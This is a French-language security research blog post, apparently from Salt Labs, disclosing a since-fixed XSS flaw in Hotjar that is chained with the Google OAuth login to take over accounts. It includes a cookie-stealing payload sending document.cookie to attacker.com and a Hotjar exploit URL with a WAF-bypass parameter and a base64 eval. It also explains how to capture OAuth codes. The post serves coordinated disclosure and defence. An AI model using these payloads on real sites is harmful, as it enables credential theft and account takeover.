Introduction
Le cross-site scripting (ou XSS) occupe à juste titre une place de choix parmi les vulnérabilités web les plus répandues. Depuis son apparition, aux débuts obscurs de l'internet, d'innombrables failles ont été découvertes sur des sites web du monde entier. Il n'est donc pas surprenant que le XSS soit systématiquement classé comme un risque majeur dans le TOP 10 de l'OWASP depuis la toute première édition de la liste en 2004 !
Une vulnérabilité aussi médiatisée est certainement déjà prise en compte et priorisée par tous — éditeurs, développeurs, praticiens et communauté de la sécurité — et c'est effectivement le cas.
Au fil des ans, de nombreuses couches de protection ont été mises en place pour détecter le XSS et empêcher son exploitation. Du point de vue d'un attaquant, ces protections représentent un véritable défi. Bien que le XSS soit toujours d'actualité, son exploitation réussie est devenue infiniment plus complexe qu'auparavant, ce qui explique pourquoi nous en observons progressivement moins d'exemples dans la nature.
Cependant, comme dans bien d'autres domaines de l'écosystème de la cybersécurité, des développements nouveaux et apparemment sans rapport peuvent parfois mener à la réincarnation de vulnérabilités anciennes, voire oubliées. Dans cet article, nous démontrons que c'est précisément le cas du XSS lorsqu'il est intelligemment combiné à une technologie émergente : OAuth.
XSS ♥️ OAuth
Quelle meilleure façon de présenter une nouvelle technique d'attaque qu'avec des exemples concrets ? C'est précisément ce que propose cet article. Bien que Salt Labs ait déjà identifié de nombreux cas où nous avons exploité cette faille avec succès, nous avons décidé d'attirer votre attention sur deux cas très médiatisés dont l'impact aurait pu être très grave si ces problèmes n'avaient pas été corrigés. Cet article est le premier d'une série en deux parties, chaque entreprise étant révélée dans un article distinct.
Comme toujours, chaque découverte que nous publions ici a suivi notre politique stricte de divulgation coordonnée afin de garantir que ces cas spécifiques ont déjà été traités et qu'aucune exploitation ultérieure n'est possible. En règle générale, nous recherchons des cibles de recherche disposant d'un programme de bug bounty ou similaire, car cela démontre qu'elles accordent la priorité à la sécurité et invitent les chercheurs à découvrir leurs vulnérabilités.
Historique du XSS
Pour commencer, nous fournirons quelques bases sur le XSS et les protections développées au fil des ans. Si vous maîtrisez déjà ce domaine, n'hésitez pas à passer directement à la section Atténuations.
Les bases du
Le XSS, en résumé, est la capacité d'exécuter du code JavaScript (ci-après JS) dans le navigateur d'une victime.
Prenons l'exemple d'un site web vulnérable, https://xss.example.com, qui renvoie votre saisie à l'écran.
Par exemple, l'URL :
https://xss.example.com/?input=Bonjour
Affichera « Bonjour » à l'écran.
Si vous saisissez du code HTML/JS à la place, le navigateur pensera que ce code a été généré par le backend et l'interprétera comme du HTML/JS légitime.
Par exemple, l'URL :
https://xss.example.com/?input=<script>alert(“xss”)</script>
Affichera «<script>alert(‘xss’)</script>», ce qui provoquera l'affichage d'une fenêtre contextuelle contenant le texte « xss » par le navigateur.
Cela devient intéressant lorsque la victime possède des identifiants secrets stockés sur https://xss.example.com, comme des cookies.
Dans une attaque XSS classique, un pirate peut utiliser l'URL suivante pour dérober ces cookies :
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
Le pirate peut envoyer ce lien à d'autres personnes (les victimes) par e-mail, sur les réseaux sociaux ou par d'autres moyens. Lorsqu'une victime clique sur ce lien, ses cookies, y compris les identifiants stockés sur https://xss.example.com, sera transmis à l'attaquant. Il s'agit d'une prise de contrôle totale du compte.
Et voilà… c'est à peu près tout (ou du moins, c'est tout le contexte dont vous avez besoin).
Les mesures d'atténuation
Comme nous l'avons mentionné, de nombreuses protections contre les failles XSS ont été conçues au fil des ans. Si vous êtes responsable de la sécurité d'un site web et que vous souhaitez vous protéger contre les attaques XSS, plusieurs stratégies clés peuvent être mises en œuvre :
1. Nettoyage manuel des entrées et encodage des sorties
Il s'agit de la mesure d'atténuation la plus ancienne, mais aussi la plus courante. Les développeurs doivent nettoyer les entrées utilisateur et s'assurer qu'aucun code HTML/JS provenant d'une entrée ne soit interprété comme du JS/HTML lors de la sortie. Cette approche fait peser une lourde responsabilité sur les développeurs et, dans bien des cas, il n'est pas trivial de nettoyer parfaitement les entrées, ce qui conduit inévitablement à des erreurs.
2. Utilisation de frameworks web modernes
Si le site web est développé avec React, Angular ou d'autres frameworks JavaScript modernes similaires, il bénéficie de protections intégrées robustes contre les failles XSS, car il échappe automatiquement toute valeur intégrée dans le JSX. Cet échappement automatique empêche efficacement leur exécution en tant que code HTML ou JavaScript.
3. Attribut HTTP-Only
Outre le nettoyage des entrées, il existe une autre approche courante que les sites web devraient adopter : la fonctionnalité HTTP-Only. Elle renforce considérablement la sécurité en empêchant l'accès aux valeurs des cookies via des scripts côté client. Cet attribut garantit que les cookies ne sont envoyés au serveur que lors des requêtes HTTP, les rendant ainsi inaccessibles au JavaScript exécuté dans le navigateur.
Dans l'exemple de xss.example.com, si l'attribut HTTP-only était activé, alors le lien suivant :
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
exécuterait bien un code JavaScript sur la victime, mais la méthode « document.cookie » ne renverrait aucun cookie sensible, rendant l'attaque inexploitable.
4. CSP
La politique de sécurité du contenu (Content Security Policy ou CSP) est une autre approche courante qui permet aux administrateurs de sites web de spécifier des sources fiables pour le contenu, comme les scripts et les images, bloquant ainsi efficacement les scripts malveillants injectés depuis des sources non autorisées.
Bien que les mesures d'atténuation mentionnées ci-dessus soient indispensables et que nous encouragions chaque développeur à les utiliser, elles ne sont pas infaillibles et il existe toujours des moyens pour les attaquants de les contourner.
XSS ♥️ OAuth ♥️ Hotjar
Commençons par l'exemple de Hotjar. Une entreprise renommée qui dessert plus d'un million de sites web, incluant des marques mondiales telles qu'Adobe, Microsoft, Panasonic, Columbia, RyanAir, Decathlon, T-Mobile, Nintendo, et bien d'autres. Hotjar est une solution de premier plan pour les équipes produit souhaitant aller au-delà de l'analyse web et produit traditionnelle afin de mieux comprendre leurs utilisateurs, de faire le lien entre les événements et leurs causes, et ainsi d'améliorer l'expérience utilisateur (UX) pour susciter la satisfaction client.
En raison de la nature de la solution Hotjar, qui enregistre l'activité de l'écran et du clavier des utilisateurs, les données collectées peuvent inclure un volume important d'informations personnelles et sensibles, telles que des noms, des adresses e-mail, des adresses postales, des messages privés, des coordonnées bancaires et même des identifiants dans certaines circonstances. Que vous ayez entendu parler de Hotjar ou non, il est fort probable que vous ayez déjà interagi avec l'un du million de sites web utilisant sa technologie, ce qui signifie qu'elle a pu collecter vos données d'une manière ou d'une autre.
Habituellement, avant de commencer nos recherches, nous effectuons des vérifications automatisées en interne pour identifier les points « faibles » du site web et avoir une idée de ce qui pourrait intéresser un attaquant. À partir d'aujourd'hui, nous avons décidé de rendre l'un de nos outils public ; si vous êtes propriétaire d'un site web, vous pouvez accéder à notre outil ici.
Hotjar est un excellent exemple de site web moderne qui suit toutes les bonnes pratiques en matière de XSS. Par conséquent, la recherche de failles XSS traditionnelles dans le backend n'est pas triviale, et notre approche ici sera différente.
Nous avons téléchargé tous les fichiers sources JS depuis https://insights.hotjar.com (le tableau de bord principal). Cela peut être réalisé facilement avec des outils comme celui-ci.
La méthode la plus courante pour analyser le code JS à la recherche de vulnérabilités consiste à rechercher des « fonctions puits » (Sink functions), qui sont des méthodes JS exécutant des arguments en tant que code HTML/JS. Par exemple, des méthodes comme « document.InnerHTML », « document.write » et « document.location ».
Trouvez plus d'informations sur les failles XSS basées sur le DOM.
Dans le cas de Hotjar, nous avons tenté la stratégie inverse en recherchant des « Sources », c'est-à-dire des endroits dans le code JS qui récupèrent des entrées utilisateur, notamment les paramètres de requête. Par exemple, examinez le code suivant :

En supposant que l'URL prenne la forme https://example.com?name=value, ce code JS lit « value » depuis l'URL.
Il existe diverses manières de rechercher des modèles dans un code, mais nous avons commencé par une commande de recherche basique pour plus de simplicité. La commande suivante recherche URLSearchParams(window.location.search) dans tous les fichiers JS de Hotjar et affiche 50 lignes de code pour chaque correspondance :

find . -name "*.js" -exec grep -H -A 50 "URLSearchParams(window.location.search)" {} +
Nous avons trouvé 24 correspondances, soit un total de 24*50 = 1 200 lignes à lire.
Après avoir lu et vérifié plusieurs résultats, celui-ci a retenu notre attention :

Outre URLSearchParams(window.location.search),vous pouvez remarquer la fonction window.location.replace(e)ci-dessous. À ce stade, il est difficile de connaître le flux exact menant à cette ligne et la provenance du paramètre.
Bien qu'il soit possible de lire le code attentivement, l'exécuter sera bien plus efficace. Nous avons donc utilisé les outils de débogage de Chrome sur le site de Hotjar, recherché cette ligne spécifique et y avons placé un point d'arrêt.
Après avoir lu le code et l'avoir exécuté via Chrome, voici ce qu'il fait :
Si :
- le paramètre « next » est présent et ne commence pas par « / »,
- « fromLMS » est présent dans le paramètre de requête « next »
- returnURL est également présent dans le paramètre de requête « next »
- alors : le code JavaScript redirige l'utilisateur vers l'URL returnURL en utilisant window.location.replace.
En utilisant window.location.replace, vous pouvez également exécuter du JavaScript via l'URL « javascript:[code] », ce qui permet de déclencher la faille XSS en utilisant le lien suivant :
https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:alert('Hello XSS')&extraVar=jsvar32312
Notez que le rôle « extraVar » est simplement utilisé pour contourner la protection WAF et n'est pas directement lié au problème en question.
Contourner le flag HTTP-Only
La technique d'exploitation privilégiée par les attaquants consisterait à tirer parti de la faille XSS pour lire les cookies du navigateur. Cependant, dans ce cas précis, les cookies (du moins les plus importants) étaient définis avec l'attribut HTTP-only. Par conséquent, il s'avère impossible de lire ces cookies via du code JavaScript, rendant inopérantes toutes les attaques XSS classiques.
OAuth à la rescousse
L'une des fonctionnalités de Hotjar — comme sur presque tous les sites web modernes aujourd'hui — est la connexion via les réseaux sociaux, basée sur OAuth (le standard ouvert d'autorisation).
Lorsque vous vous connectez à Hotjar via Google, Hotjar vous redirige vers Google, qui génère un jeton secret pour vous, que vous transmettez ensuite à Hotjar pour finaliser l'authentification.
Par exemple, si vous cliquez sur « Se connecter avec Google », Hotjar vous redirigera vers Google :
https://accounts.google.com/o/oauth2/v2/auth?response_type=code&client_id=145303889798-f167kpmuqrlh4rd597teoj633et6ku9i.apps.googleusercontent.com&redirect_uri=https://insights.hotjar.com/api/sso/google-auth&scope=openid+email+profile&state=[state]
et Google vous automatiquement (en supposant que l'utilisateur a déjà autorisé Hotjar dans Google par le passé) redirigera vers Hotjar en utilisant l'URL suivante, qui contient un code secret :
https://insights.hotjar.com/api/sso/google-auth?state=[state]&code=[secret_code]
En d'autres termes, le code secret, à la fin du flux OAuth, se trouve dans l'URL, ce qui est une information accessible par le code JavaScript.
*Vous pouvez consulter notre explication détaillée étape par étape si vous souhaitez en savoir plus sur le fonctionnement d'OAuth.
Pour combiner une faille XSS avec cette nouvelle fonctionnalité de connexion sociale (OAuth) et parvenir à une exploitation fonctionnelle, nous utilisons un code JavaScript qui lance un nouveau flux de connexion OAuth dans une nouvelle fenêtre, puis lit le jeton depuis cette fenêtre :

Avec cette méthode, le code JavaScript ouvre un nouvel onglet vers Google, et Google redirige automatiquement l'utilisateur vers https://insights.hotjar.com avec le code OAuth dans l'URL :
https://insights.hotjar.com/api/sso/google-auth#state=...&code=[secret_code]

Le code JS lit l'URL du nouvel onglet (ce qui est possible car si vous disposez d'une faille XSS sur un domaine dans une fenêtre, cette fenêtre peut alors accéder aux autres fenêtres de la même origine) et en extrait les identifiants OAuth.
Notez que nous avons modifié le lien OAuth original vers Google — nous avons utilisé le type de réponse « code,token » au lieu de simplement « code », ce qui amène Google à envoyer le code dans le fragment d'URL (#code=...). Cela nous permet de lire le code depuis l'URL et de garantir que Hotjar ne consomme pas le code, lequel ne peut être utilisé qu'une seule fois.
Une fois que l'attaquant possède le code d'une victime, il peut lancer un nouveau flux de connexion sur Hotjar mais remplacer son propre code par celui de la victime — ce qui conduit à une prise de contrôle totale du compte.
En résumé, voici à quoi ressemble le lien malveillant (le code JavaScript a été inséré sous forme de valeur base64) :https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:eval(atob('CmI9d2luZG93Lm9wZW4oIm…'))&extraVar=jsvar32312
Lorsqu'une victime (le propriétaire du compte Hotjar) clique sur ce lien (qui possède un aspect légitime domaine), leurs identifiants seront transmis à un attaquant. Il existe plusieurs vecteurs d'attaque potentiels permettant de faire parvenir un lien malveillant au propriétaire du compte Hotjar ou à l'administrateur du site web. Par exemple, Hotjar propose une fonctionnalité de feedback permettant aux utilisateurs de laisser des commentaires que le propriétaire du site pourra consulter.
Comme nous l'avons indiqué précédemment, le problème a été entièrement résolu et Hotjar a fait un excellent travail pour en atténuer les effets.
Impact
Comme mentionné plus haut, Hotjar enregistre les sessions des utilisateurs, y compris les activités du clavier et de la souris.
Ces données incluent des noms, des adresses e-mail, des adresses postales, des messages privés, des coordonnées bancaires, des identifiants (dans certains scénarios), et bien plus encore.
Dans les paramètres par défaut, Hotjar censure les données :

Comme vous pouvez le constater, dans un scénario de prise de contrôle de compte, l'attaquant peut modifier les paramètres et rendre accessibles la plupart des données sensibles. Bien que dans ce cas précis, cela ne semble pas inclure tous les types d'informations (comme les numéros de carte bancaire, par exemple), cela concerne une quantité importante d'autres données sensibles et précieuses. Notez que ces utilisateurs incluent les administrateurs du site web, ce qui signifie que l'attaquant peut obtenir des informations supplémentaires sur le site lui-même (comme l'emplacement du panneau de contrôle) et même s'en servir pour prendre le contrôle du site, selon les données collectées.
Quelle est la suite ?
Dans la prochaine partie, nous explorerons une autre entreprise bien connue où nous avons découvert une nouvelle méthode (légèrement différente de celle-ci) pour combiner XSS et OAuth. Restez à l'écoute.
Pour en savoir plus sur la façon dont Salt peut aider à protéger votre organisation contre ces risques ou d'autres risques liés aux API, vous pouvez contacter un représentant ou planifier une démo personnalisée. Si vous n'êtes pas sûr de la pertinence pour vos actifs, vous pouvez utiliser l'outil de scan de Salt Labs pour vérifier gratuitement votre domaine à la recherche de risques et de vulnérabilités.
Chronologie de la divulgation
Nous avons suivi la chronologie suivante dans le cadre de ce processus de divulgation coordonnée. Encore une fois, nous remercions Hotjar d'avoir pris les mesures nécessaires pour résoudre ces vulnérabilités critiques.
- Salt Labs découvre la vulnérabilité chez Hotjar : 17 avril 2024
- L'équipe de sécurité de Hotjar déploie des mesures d'atténuation et Salt Labs confirme que les exploits ne fonctionnent plus : 19 avril 2024
- Salt Labs transmet à l'équipe de sécurité de Hotjar ce blog technique détaillant la vulnérabilité : 19 juillet
- L'équipe marketing de Salt partage une ébauche du blog et du communiqué de presse avec l'équipe marketing de Hotjar : 19 juillet
- Salt publie le blog et le communiqué de presse : 29 juillet
